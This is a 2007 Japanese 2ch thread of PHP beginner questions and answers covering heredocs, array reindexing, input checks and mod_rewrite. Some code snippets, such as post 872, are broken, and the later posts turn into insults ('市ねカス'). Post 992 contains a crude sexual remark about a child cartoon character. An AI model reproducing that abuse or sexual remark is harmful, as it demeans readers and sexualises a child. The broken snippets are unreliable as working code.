やっぱりそこは慣れの問題になるのかな・・・
変数に$のついてないのなんてプログラムじゃないやい つД`)

857 :nobodyさん:2007/11/02(金) 00:58:41 ID:???
さすがに型宣言無しでカーネルとかGUI触るのは嫌だw

858 :nobodyさん:2007/11/02(金) 01:00:16 ID:???
PHPって型の変更が楽にできるのがいい
関数実行してあらかじめ返す型を決めなくていいのも・・・

859 :nobodyさん:2007/11/02(金) 01:04:10 ID:???
型の変更なんてキャストでおk

860 :nobodyさん:2007/11/02(金) 01:17:34 ID:???
型無しだな

861 :nobodyさん:2007/11/02(金) 01:23:23 ID:???
>>860
ハハハ、一応笑とくよ

ところで PHP で Windowsアプリとかおっしゃるそこの貴方
PHP-GTKには興味ないの?

862 :nobodyさん:2007/11/02(金) 01:25:31 ID:???
>>861
おおー!こんなものもあるんだー
PHPでGUIといえばWinBinderしか知らなかったけど
これもこれで良さそう

PHPでWindowsゲームとか作れるようになるのも近いかも試練!

863 :nobodyさん:2007/11/02(金) 01:26:32 ID:???
名前しか聞かないよね

864 :nobodyさん:2007/11/02(金) 01:44:37 ID:N3+siSMB
<div><? echo $aaa; ?></div>
<div><? echo $bbb; ?></div>
<div><? echo $ccc; ?></div>

とするのと

$html = <<<_EOD_
<div>$aaa</div>
<div>$bbb</div>
<div>$ccc</div>
_EOD_;

とではどちらが処理は早いのでしょ。2〜3行の話ではなくもっと行数が多いとしてですが。
それとヒアドキュメント内で/*====*/とするとそのまま表示されてしまいますが、
ヒアドキュメント内でのコメントはどう書けばいいのでしょうか。

865 :nobodyさん:2007/11/02(金) 01:46:00 ID:???
処理速度:変わらない
コメント:使えない

866 :nobodyさん:2007/11/02(金) 01:51:04 ID:???
BAMCOMPILEでアプリ開発してる俺は変態ですか

867 :nobodyさん:2007/11/02(金) 01:53:48 ID:???
>>866
Bamcompileは楽しいと思うよ
PHP+WinBinder+Bamcompileの開発ツールみたいなのができたらいいな

PHP-GTKの参考サイトが全くナスorz
スクリプトの実行させかたわかんね\(^o^)/

868 :nobodyさん:2007/11/02(金) 01:58:29 ID:N3+siSMB
>>865
やっぱりコメントは無理ですか。
処理速度が変わらないようなのでヒアドキュメントで整理してきます。
レスありがとうございました。

869 :867:2007/11/02(金) 01:59:04 ID:???
ごめんできた
*.phpwにすればいいのか

870 :nobodyさん:2007/11/02(金) 02:39:13 ID:???
>>852
うちのは日付表示されてるんだけどな
debの標準パッケで

871 :nobodyさん:2007/11/02(金) 02:52:37 ID:vzvDJiqR
$array = array("a"=>"aaa","b"=>"bbb","c"=>"ccc")
という配列があったとして、unset("b");とすると、
$array[0]と$array[2]が残りますが、
これを$array[0]、$array[1]と、
インデックスを詰めることは出来ないのでしょうか?

872 :nobodyさん:2007/11/02(金) 03:02:09 ID:???
>>871
そういう関数あるかわからんが
関数作ってみればどうかな?

function 関数名は適当に($array, $del_key){

foreach($array as $key=>$value){

$array_tmp = array();
if($key != $del_key){

$array_tmp[$key] = $value;

}

return $array_tmp;

}

みたいな

873 :nobodyさん:2007/11/02(金) 03:03:16 ID:???
連想配列のキーを維持しつつインデクスを振りなおすのは無理でしょう
新しい配列を作るしかない

ちなみに、何故インデクスの振りなおしが必要なの?

874 :nobodyさん:2007/11/02(金) 03:06:05 ID:???
>>872
これはひどい

875 :nobodyさん:2007/11/02(金) 03:12:01 ID:???
872もひどいが
871もひどい
>$array = array("a"=>"aaa","b"=>"bbb","c"=>"ccc")
>という配列があったとして、unset("b");とすると、
>$array[0]と$array[2]が残りますが、
残りません。

876 :nobodyさん:2007/11/02(金) 03:28:06 ID:???
       ゴガギーン
             ドッカン
         m    ドッカン
  =====) ))         ☆
      ∧_∧ | |         /          / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
     (   )| |_____    ∧_∧   <  おらっ!出てこい>>871 >>872!!
     「 ⌒ ̄ |   |    ||   (´Д` )    \___________
     |   /  ̄   |    |/    「    \
     |   | |    |    ||    ||   /\\
     |    | |    |    |  へ//|  |  | |
     |    | |    ロ|ロ   |/,へ \|  |  | |
     | ∧ | |    |    |/  \  / ( )
     | | | |〈    |    |     | |
     / / / / |  /  |    〈|     | |
    / /  / / |    |    ||      | |
   / / / / =-----=--------     | |

877 :nobodyさん:2007/11/02(金) 04:38:56 ID:???
$array_tmp = array_values($array);

878 :nobodyさん:2007/11/02(金) 06:53:05 ID:???
数字のindexならaray_mergeで振りなおし出来るけど
$array['a']を$array[0]にするのは無理


879 :nobodyさん:2007/11/02(金) 10:40:08 ID:lfmgScK/
フレームワークなどのソースを見てるんですけど、
includeやrequireした形跡がないのに、
同じファイル内には無いクラスをextendsしたり、
インスタンス化してつかったりしてるのですが、
これってどうやるんですか?

880 :nobodyさん:2007/11/02(金) 10:48:17 ID:???
そのファイルをincludeするファイルで別のファイルをincludeしてたりするんじゃないでしょうかね。

881 :879:2007/11/02(金) 10:52:39 ID:lfmgScK/
>>880
なるほど。そういうカラクリですか。
ちょっとファイル数が多いので探すの大変ですが、
もう少し眺めてみたいと思います。

882 :nobodyさん:2007/11/02(金) 12:00:31 ID:???
ドキュメンテーションソフトを使って一覧を作るといいかも

883 :nobodyさん:2007/11/02(金) 12:01:30 ID:I1nYMQiM
チェックして登録するみたいな感じの処理をしたいのですが、

function check($str) {
if ($strに問題がなかったら) {
return true;
}
return false;
}

function touroku() {
if (check($str)) {
登録処理;
exit("登録しました");
} else {
exit("$strも問題があるので登録できませんでした");
}
}

見たいな感じにしようと思ってるのですが、
touroku内でcheckするのはやっぱりおかしいですか?

function touroku() {
登録処理;
}
にして、
if (check()) {
touroku();
}
とかにしたほうがいいでしょうか?
説明下手なのでわかりにくかったらすみません・・・

884 :nobodyさん:2007/11/02(金) 12:13:14 ID:???
check()は登録作業ではないし、手続きの流れが隠蔽されてしまうので
たいていの場合では後者のほうがいいと思う
とんがった人はcheck()はアノテーションとしてtohroku()に後付したりするのかな

885 :nobodyさん:2007/11/02(金) 13:43:09 ID:58QPbX5W
誰か>>714plz

886 :nobodyさん:2007/11/02(金) 13:49:56 ID:???
>>885
「.tpl」を消せばOK

887 :nobodyさん:2007/11/02(金) 14:00:29 ID:58QPbX5W
>>886
>>714以外の方法は無しってことでいいですかね?
改修中のソースにこういう処理してる部分があるのですが、セキュリティ的にどうなの?って思ったので。

888 :nobodyさん:2007/11/02(金) 14:01:38 ID:???
できない。ということを証明するのは難しい。


889 :nobodyさん:2007/11/02(金) 14:05:34 ID:???
>>887
すでに指摘されてることに近いけどURLを開かれないようにね

890 :nobodyさん:2007/11/02(金) 15:29:12 ID:ehHCPDNI
教えてください。

891 :nobodyさん:2007/11/02(金) 15:39:36 ID:???
>>887
俺なら悩まずに修正する

892 :nobodyさん:2007/11/02(金) 15:40:12 ID:ehHCPDNI
phpの特殊文字処理について教えてください。
入力フォームから値を受け取り確認画面へわたすという処理です。
ソースは
入力フォーム
<INPUT class="cell_width01" type="text" onkeydown="if(event.keyCode==13){event.returnValue = false;}" name="mdtt" value="<?php echo htmlentities(stripslashes($info['mdtt'])); ?>">
入力の空チェック
function _notInputed($str)
{
$str = str_replace(" ", " ", $str);
$str = trim($str);

if(0 == strlen($str)) return true;
return false;
}
<test>を入力すると空でfalseが返ってきてしまいます。
htmlentitiesやstr_replaceを使って試してみるのですが、
うまくいきません。



893 :nobodyさん:2007/11/02(金) 15:44:17 ID:???
> if(0 == strlen($str)) return true;

そりゃそうだろ

894 :nobodyさん:2007/11/02(金) 15:47:20 ID:ehHCPDNI
すみません。かえってくるのはtrueでした。
質問の趣旨は、<>を入力すると全部空になってしまうので、
この空チェックでfalseを返すようにしたいんです。

895 :nobodyさん:2007/11/02(金) 15:49:38 ID:???
trueが返るわけないじゃん

896 :nobodyさん:2007/11/02(金) 15:52:45 ID:ehHCPDNI
if(MCMediaInput::_notInputed($mdtt)) $myerr->addErr("タイトル(必須項目)を入力してください。", debug_backtrace());
ここで、呼び出して空の場合はこのエラーメッセージを排出するようにしていますが、
エラーとなるのです。

897 :nobodyさん:2007/11/02(金) 16:00:00 ID:???
コード上は問題ないようだ。
入力がPHPや当該の関数にちゃんと渡ってるかどうかデバックしてみたら。

898 :nobodyさん:2007/11/02(金) 16:03:20 ID:ehHCPDNI
そうですか、ありがとうございました。
デバッグも何度もしているのですが、空なんです。

899 :nobodyさん:2007/11/02(金) 16:05:21 ID:???
いつ空になるのか追跡するんだ。

900 :nobodyさん:2007/11/02(金) 16:06:43 ID:???
>>898
そうですか、それは良かったですね

901 :nobodyさん:2007/11/02(金) 16:26:49 ID:ehHCPDNI
文字チェックする前から空になっているようなので、受取のhtml画面で
処理が必要なのでしょうか?

902 :nobodyさん:2007/11/02(金) 16:27:49 ID:ehHCPDNI
受取・・・入力フォームのことです。

903 :nobodyさん:2007/11/02(金) 16:55:37 ID:VB7V02Tk
ぼくのおかしくなった人生を消してくれるコードをどなたか書いていただけませんか?

904 :nobodyさん:2007/11/02(金) 17:03:53 ID:???
>>901
入力したのにPHPに値が渡らないということ?
$_POSTには入ってるのかな?

905 :nobodyさん:2007/11/02(金) 17:07:53 ID:???
>>903
お前にデストラクタはサポートされてないようだ

906 :nobodyさん:2007/11/02(金) 17:32:33 ID:ehHCPDNI
$_POSTにも値が入ってないようです。
$_POSTで受け取る処理の中でサニタイズする関数を呼び出して
いるのですが空でした。
入力フォームのINPUTの中でonkeydown="if(event.keyCode==13){event.returnValue = false;}"
という部分があるのですが、ここで処理をしているかもしれませんので
調べてみます。

907 :nobodyさん:2007/11/02(金) 17:40:43 ID:???
>>906
とりあえずあやしい場所1箇所ずつに
print_r($_POST);
しとけ

908 :nobodyさん:2007/11/02(金) 17:41:36 ID:???
おまえがphp4の上で生きてるなら
$this = new DNA();


909 :nobodyさん:2007/11/02(金) 17:57:16 ID:ehHCPDNI
$this->obj($input);
ちゃんとtrueを返せるようにがんばります。
ありがとうございます。

910 :nobodyさん:2007/11/02(金) 20:21:16 ID:???
神様おしえてください
3,000のような数字のカンマを抜いて3000にするにはどうすればいいですか?

911 :nobodyさん:2007/11/02(金) 20:22:59 ID:???
$hoge = '3,000';
echo str_replace(',', '', $hoge);

912 :nobodyさん:2007/11/02(金) 20:23:43 ID:???
>>911
はぇえええええええええええええええええええええええ
神様ありがとう!!!!!!!!!

913 :nobodyさん:2007/11/02(金) 21:02:40 ID:???
スレタイどおり

914 :nobodyさん:2007/11/03(土) 01:12:45 ID:Mo1PpAH9
すいません、ローカルにアパッチとPHPをインストールするときに
これはいれとけってものがありましたら教えてください。

pearとmysqlは入れました。zendoptiomizerは検討中です。

915 :nobodyさん:2007/11/03(土) 01:16:27 ID:???
使わない/使えない/使う気ないのに入れる必要は100%ねぇよ。

916 :nobodyさん:2007/11/03(土) 01:16:43 ID:???
必要になったら入れなさいw

917 :nobodyさん:2007/11/03(土) 01:21:07 ID:???
まずdebianを最小構成でインストールするんだ。話はそれからだ

918 :nobodyさん:2007/11/03(土) 01:31:31 ID:???
>>917
う、うそだろ?うそだと言ってくれ!

919 :nobodyさん:2007/11/03(土) 01:32:58 ID:???
ぶっちゃけマジ

920 :nobodyさん:2007/11/03(土) 01:33:45 ID:???
Orz..

921 :nobodyさん:2007/11/03(土) 01:33:57 ID:???
馬鹿野郎!
いまどきOpenBSDだろ常識的に考えて・・・

922 :nobodyさん:2007/11/03(土) 01:36:25 ID:???
スレチ

923 :nobodyさん:2007/11/03(土) 01:42:42 ID:???
>>922
空気嫁

924 :nobodyさん:2007/11/03(土) 02:09:11 ID:Mo1PpAH9
os上にサーバーソフトだけ入れたいんですが、
そういうプログラムで自作OS作ってるひといますか?

925 :nobodyさん:2007/11/03(土) 02:12:46 ID:???
What?

926 :nobodyさん:2007/11/03(土) 02:13:17 ID:???
>>924
まて、何故OSから作る話になる

927 :nobodyさん:2007/11/03(土) 02:16:22 ID:???
OSなんざAjaxで作ってください

928 :nobodyさん:2007/11/03(土) 02:17:14 ID:???
この振り幅はすばらしい
脳がリフレッシュされる

929 :nobodyさん:2007/11/03(土) 03:54:37 ID:WzuvDxLI
バッチで次のようなプログラムfoo.phpを作り、

#!/usr/local/bin/php
<?php

$p = '/root/log';
$i = 0;

while (true) {
 file_put_contents($p, "OK");
 print $i++.":".file_get_contents($p)."\n";
}

# ./foo.phpを2つのコンソールから実行すると、片方が「Bus error」として落ちます。必ずです。
fopen、fwrite、fcloseを使った場合は起きないんですが、これって何なんでしょう?
マニュアル見た限りでは、fopen〜fcloseと変わらないとあるんですが。
LOCK_EXオプションを付けても変わりませんでした。

930 :nobodyさん:2007/11/03(土) 03:56:04 ID:/D2HS3QM
profile.php?user=yamada
というようなファイル名+パラメータのurlを、
profile/yamada/ とする(変換する?)方法ってあるんでしょうか?
ブラウザのURLバー部分に擬似的にディレクトリ構造のように見せてるのか、
それともwebサーバ上に実際に物理的にディレクトリを作ってるのか
わからないですが…
訳のわからない質問かもしれませんが、お願いします
centOS + apache2 + php5 です

931 :nobodyさん:2007/11/03(土) 04:01:15 ID:???
>930
mod_rewrite

932 :nobodyさん:2007/11/03(土) 04:01:43 ID:???
>>930
mod_rewrite

933 :nobodyさん:2007/11/03(土) 04:02:42 ID:???
>>930
【Apache】mod_rewriteについて語るスレ
http://pc11.2ch.net/test/read.cgi/php/1023791370/

934 :nobodyさん:2007/11/03(土) 06:38:12 ID:???
君たち結婚したほうがいい

935 :nobodyさん:2007/11/03(土) 07:50:15 ID:???
IDが無いから一人の可能性もある

936 :nobodyさん:2007/11/03(土) 08:31:22 ID:???
>>935
ひとりでもなんでもいいでしょそんなん気にするところか?

937 :nobodyさん:2007/11/03(土) 08:32:19 ID:Mo1PpAH9
ここのひとたちはLFSもしらなそうですね

938 :nobodyさん:2007/11/03(土) 09:17:53 ID:???
Linux From Scratchですか?
あれですよね、OSを自作自演するとかいう…

939 :nobodyさん:2007/11/03(土) 09:44:00 ID:???
必要最小限のものしかいらないならOpenBSDでいいじゃねえか

940 :nobodyさん:2007/11/03(土) 09:55:35 ID:???
>>931-933
ありがとうございます! 助かりました

941 :nobodyさん:2007/11/03(土) 10:11:19 ID:???
>>938
ググッきたんだね、えらいえらい

942 :nobodyさん:2007/11/03(土) 10:43:49 ID:???
>>941
検索せんでも運動図ドベッタリな人間でなけりゃ知ってるだろ

943 :nobodyさん:2007/11/03(土) 10:48:04 ID:???
しらないやつもなかにはいるよ。おまえの価値観でしゃべるな

944 :nobodyさん:2007/11/03(土) 10:56:22 ID:???
ググッきたん (´Д`;)ハアハア

945 :nobodyさん:2007/11/03(土) 11:18:44 ID:???
ググッきたんテラ萌えすwww

946 :nobodyさん:2007/11/03(土) 11:20:46 ID:???
ID:Mo1PpAH9の言う自作OSってばkernelやbootstrapとか全て自前ってこと?意味わかんねえや

947 :nobodyさん:2007/11/03(土) 11:32:31 ID:Mo1PpAH9
>>946
もう少しおちついてからレスしよう

948 :nobodyさん:2007/11/03(土) 11:40:31 ID:???
ネタ振った奴が定義を明確にするのがスジってもんだろ

949 :nobodyさん:2007/11/03(土) 11:56:49 ID:???
スジでごまかさなくていいよ

950 :nobodyさん:2007/11/03(土) 13:37:13 ID:GRWhmm0G
<br><br><br>
<br>の連続をひとつの<br>にする方法頼みます

951 :nobodyさん:2007/11/03(土) 13:39:24 ID:???
>>950
preg_replace

952 :nobodyさん:2007/11/03(土) 13:44:12 ID:GRWhmm0G
>>951
<br>の連続数は不定でお願いします。

953 :nobodyさん:2007/11/03(土) 13:48:05 ID:???
>>952
preg_replace

954 :nobodyさん:2007/11/03(土) 13:54:52 ID:???
preg_replaceの使い方がわかりません

955 :nobodyさん:2007/11/03(土) 14:15:02 ID:???
関数教えてもらったら後はマニュアルで調べろよ

956 :nobodyさん:2007/11/03(土) 14:30:08 ID:???
そんなにけちけちせずに教えてくれてもいいと思います

957 :nobodyさん:2007/11/03(土) 14:33:21 ID:???
メール欄で会話してるつもりなのか?キモイよ

958 :nobodyさん:2007/11/03(土) 14:35:19 ID:???
などと>>957が火病っていますw


959 :nobodyさん:2007/11/03(土) 14:36:10 ID:???
キモい

960 :nobodyさん:2007/11/03(土) 14:38:00 ID:???
ほんとキモイな

961 :nobodyさん:2007/11/03(土) 14:38:03 ID:???
キモい( )笑

962 :nobodyさん:2007/11/03(土) 14:38:31 ID:???
きもいというより暗い・・・

963 :nobodyさん:2007/11/03(土) 14:39:05 ID:???
いまさらメール欄に気づいただけだろ

964 :nobodyさん:2007/11/03(土) 14:42:03 ID:???
「キモい」レスの自演もへたくそだなw

965 :nobodyさん:2007/11/03(土) 14:42:35 ID:???
さて俺様のレスはどれでしょう

966 :nobodyさん:2007/11/03(土) 14:45:28 ID:???
ぜんぶ俺の自演に決まってるだろw

967 :nobodyさん:2007/11/03(土) 14:46:05 ID:???
諸悪の根源は954

968 :nobodyさん:2007/11/03(土) 14:47:50 ID:???
>>967
ひっかかってバカを見た955だろ

969 :nobodyさん:2007/11/03(土) 14:48:34 ID:???
諸悪の根源(笑)

970 :nobodyさん:2007/11/03(土) 14:48:52 ID:???
流れ的にwつけてるやつが954だな
誰もがキモいと思ってるんだよ
メール欄で勝ち誇ったように何言ってるんだコイツと

971 :nobodyさん:2007/11/03(土) 14:49:35 ID:???
俺様は俺様であるけれど俺様以外にも俺様は確実に存在する
ってか誰だよ俺様を騙っているのは

972 :nobodyさん:2007/11/03(土) 14:53:37 ID:???
>>970
お前は何でそこまで必死なの?
どのレスが誰だろうがどうでもいいはずなのに
きっと955がお前だなwww

973 :nobodyさん:2007/11/03(土) 14:54:11 ID:???
954がこのスレを壊した。責任取って腹を切るべき。

974 :nobodyさん:2007/11/03(土) 14:54:46 ID:GRWhmm0G
やはり無理だったか・・・

975 :nobodyさん:2007/11/03(土) 14:55:28 ID:???
>>974
お前の脳みそが無理だ

976 :nobodyさん:2007/11/03(土) 14:56:48 ID:???
>>970
そんな厨はほっといて次スレたてろ

977 :nobodyさん:2007/11/03(土) 14:57:15 ID:???
>>973
おまえ2ちゃんは初めてか?
茶でも飲んでおちつけよ

978 :nobodyさん:2007/11/03(土) 14:58:21 ID:???
>>974
答えはわかるけど教えてやんね

979 :nobodyさん:2007/11/03(土) 14:59:13 ID:???
>>976
次スレもイラネ

980 :nobodyさん:2007/11/03(土) 15:00:29 ID:???
>>976
書き込み特定に必死な970には無理w

981 :nobodyさん:2007/11/03(土) 15:00:29 ID:???
煽ったら負けかなと思ってる

982 :nobodyさん:2007/11/03(土) 15:01:25 ID:???
いや煽らなければ負けだろ

983 :nobodyさん:2007/11/03(土) 15:02:48 ID:???
煽りまくってこそ、2ちゃんねる
>>973みたいな新参は半年ROMるべき

984 :nobodyさん:2007/11/03(土) 15:02:56 ID:???
そりゃそうだ

985 :nobodyさん:2007/11/03(土) 15:05:33 ID:Y6Z6X6pn
セキュリティ関連がめっちゃ不安やねん。
みんなが注意してるところとか教えてくれ!

もうオナポ





986 :nobodyさん:2007/11/03(土) 15:05:43 ID:???
ここといい、フレームワークスレといい、
ばか、ばっかだな

987 :nobodyさん:2007/11/03(土) 15:06:12 ID:???
もっと市ねカスみたいな罵倒がないとやるきがでない

988 :nobodyさん:2007/11/03(土) 15:08:32 ID:???
>>987
お前は一生やる気をださなくていいよ

989 :nobodyさん:2007/11/03(土) 15:17:59 ID:???
>>985
伝聞でセキュリティを何とかしようとしてる時点で終わってるよ。
市ねカス。

990 :nobodyさん:2007/11/03(土) 15:19:35 ID:???
2chの解析結果

2chの90%は バカで出来ています
2chの8%は 基地外寸止めで出来ています
2chの2%は 鬼畜で出来ています

991 :nobodyさん:2007/11/03(土) 15:26:30 ID:???
注意っつうと「左舷!弾幕薄いよ!なにやってんの!」とか

# あぁ…ブライトさん、貴方の声は永久に聴けないんですね

992 :nobodyさん:2007/11/03(土) 15:31:37 ID:Y6Z6X6pn
PHPてやればやるほど不安になる
不思議な言語でかなえてく〜れーる

静香ちゃんのマンコなめたいなぁ
はーい!マンコリーム

993 :nobodyさん:2007/11/03(土) 15:31:40 ID:GRWhmm0G
2chでは一度も教えてもらったことがない。
さらば

994 :nobodyさん:2007/11/03(土) 15:35:35 ID:???
951と953で2度も教えてもらってんじゃん。何を言ってるんだお前は。

995 :nobodyさん:2007/11/03(土) 15:38:01 ID:???
>>993
二度と来るな池沼

996 :950:2007/11/03(土) 15:50:39 ID:???
大漁キタコレwwwwww

997 :nobodyさん:2007/11/03(土) 15:52:59 ID:???
冗談だろうかネタだろうが、人の誠意を踏みにじる奴は許せない。
このスレに沸いてる馬鹿がこの先苦しみ続けますように。


998 :950:2007/11/03(土) 15:54:04 ID:???
お前は誠意大将軍かwww

999 :nobodyさん:2007/11/03(土) 15:57:47 ID:???
999フィーバー

1000 :nobodyさん:2007/11/03(土) 15:59:29 ID:???
1000ならスレに平和が訪れる

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

243 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.02.02 2014/06/23 Mango Mangüé ★
FOX ★ DSO(Dynamic Shared Object)